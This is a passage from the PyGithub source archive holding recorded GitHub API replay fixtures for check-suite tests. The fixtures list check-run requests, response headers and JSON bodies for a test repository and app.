PyGithub.","fork":false,"url":"https://api.github.com/repos/dhruvmanila/pygithub-testing","forks_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/forks","keys_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/teams","hooks_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/hooks","issue_events_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues/events{/number}","events_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/events","assignees_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/assignees{/user}","branches_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/branches{/branch}","tags_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/tags","blobs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/refs{/sha}","trees_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/statuses/{sha}","languages_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/languages","stargazers_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/stargazers","contributors_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/contributors","subscribers_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/subscribers","subscription_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/subscription","commits_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/commits{/sha}","git_commits_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/commits{/sha}","comments_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/comments{/number}","issue_comment_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues/comments{/number}","contents_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/contents/{+path}","compare_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/merges","archive_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/downloads","issues_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues{/number}","pulls_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/pulls{/number}","milestones_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/milestones{/number}","notifications_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/labels{/name}","releases_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/releases{/id}","deployments_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/deployments"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckSuite.testGetCheckRuns.txt0000644000175100001660000006065714756101563024210 0ustar00runnerdockerhttps GET api.github.com None /repos/dhruvmanila/pygithub-testing/check-suites/1366665055/check-runs?per_page=1 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 27 Nov 2020 18:34:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"6f326a256cae89f9cd73a27a7e378b88eb62090df5fc7d3284bac92cbb5fdc6c"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1606505666'), ('X-RateLimit-Used', '6'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0BE:2837:27E85F:33B68D:5FC146B4')] {"total_count":8,"check_runs":[{"id":1278952206,"node_id":"MDg6Q2hlY2tSdW4xMjc4OTUyMjA2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1278952206","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T04:22:04Z","completed_at":"2020-10-20T04:22:04Z","output":{"title":"Testing","summary":"This is a test for output dictionary.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206/annotations"},"name":"Testing","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]}]} https GET api.github.com None /repos/dhruvmanila/pygithub-testing/check-suites/1366665055/check-runs {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 27 Nov 2020 18:34:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"5acf3da13128def8798134fe153745b181581861f8308402e42a07e2a7304e3f"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1606505666'), ('X-RateLimit-Used', '7'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0BF:4C00:2C478D:37D548:5FC146B4')] {"total_count":8,"check_runs":[{"id":1278952206,"node_id":"MDg6Q2hlY2tSdW4xMjc4OTUyMjA2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1278952206","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T04:22:04Z","completed_at":"2020-10-20T04:22:04Z","output":{"title":"Testing","summary":"This is a test for output dictionary.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206/annotations"},"name":"Testing","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1279259090,"node_id":"MDg6Q2hlY2tSdW4xMjc5MjU5MDkw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"49","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1279259090","details_url":"https://www.example-url.com","status":"completed","conclusion":"success","started_at":"2020-10-20T01:10:20Z","completed_at":"2020-10-20T02:20:30Z","output":{"title":"Mighty Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090/annotations"},"name":"update_all_params","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1280450752,"node_id":"MDg6Q2hlY2tSdW4xMjgwNDUwNzUy","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280450752","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1280450752","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T16:04:20Z","completed_at":"2020-10-20T10:44:21Z","output":{"title":"Mighty Readme report","summary":"There are 0 failures, 3 warnings, and 1 notices.","text":null,"annotations_count":3,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280450752/annotations"},"name":"mighty_readme","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1280914700,"node_id":"MDg6Q2hlY2tSdW4xMjgwOTE0NzAw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"102","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280914700","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1280914700","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T10:34:15Z","completed_at":"2020-10-20T12:31:28Z","output":{"title":"Check run for testing list of annotations","summary":"This is test to get the list of annotations.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1280914700/annotations"},"name":"annotations","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1296027873,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI3ODcz","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296027873","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T10:30:29Z","completed_at":"2020-10-20T11:30:50Z","output":{"title":"Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":"You may have some misspelled words on lines 2 and 4.","annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873/annotations"},"name":"completed_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1296028076,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI4MDc2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"50","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296028076","details_url":"https://www.example.com","status":"completed","conclusion":"success","started_at":"2020-09-04T01:14:52Z","completed_at":"2020-10-23T03:05:06Z","output":{"title":"PyGithub Check Run Test","summary":"Test summary","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076/annotations"},"name":"basic_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1296029378,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5Mzc4","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"101","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029378","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"failure","started_at":"2020-10-20T10:14:51Z","completed_at":"2020-10-23T03:05:28Z","output":{"title":"Check run for testing failure","summary":"There is 1 whitespace error.","text":"You may have a whitespace error in the file 'test.py'","annotations_count":1,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378/annotations"},"name":"fail_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]},{"id":1296029552,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5NTUy","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"100","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029552","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T14:24:31Z","completed_at":"2020-10-23T03:05:31Z","output":{"title":"Check run for testing edit method","summary":"This is the summary of editing check run as completed.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552/annotations"},"name":"edit_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"pull_requests":[]}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckSuite.testGetCheckRunsFilterByCheckName.txt0000644000175100001660000001745614756101563027407 0ustar00runnerdockerhttps GET api.github.com None /repos/dhruvmanila/pygithub-testing/check-suites/1366665055/check-runs?check_name=Testing&per_page=1 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 27 Nov 2020 18:35:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"5704d63e4d53f67dabee3f79e6a77748afc2e412f1da4b0b1ffdc7008db82256"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4987'), ('X-RateLimit-Reset', '1606505666'), ('X-RateLimit-Used', '13'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0C9:0AE1:27F673:339262:5FC146D8')] {"total_count":1,"check_runs":[{"id":1278952206,"node_id":"MDg6Q2hlY2tSdW4xMjc4OTUyMjA2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1278952206","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T04:22:04Z","completed_at":"2020-10-20T04:22:04Z","output":{"title":"Testing","summary":"This is a test for output dictionary.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1278952206/annotations"},"name":"Testing","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for 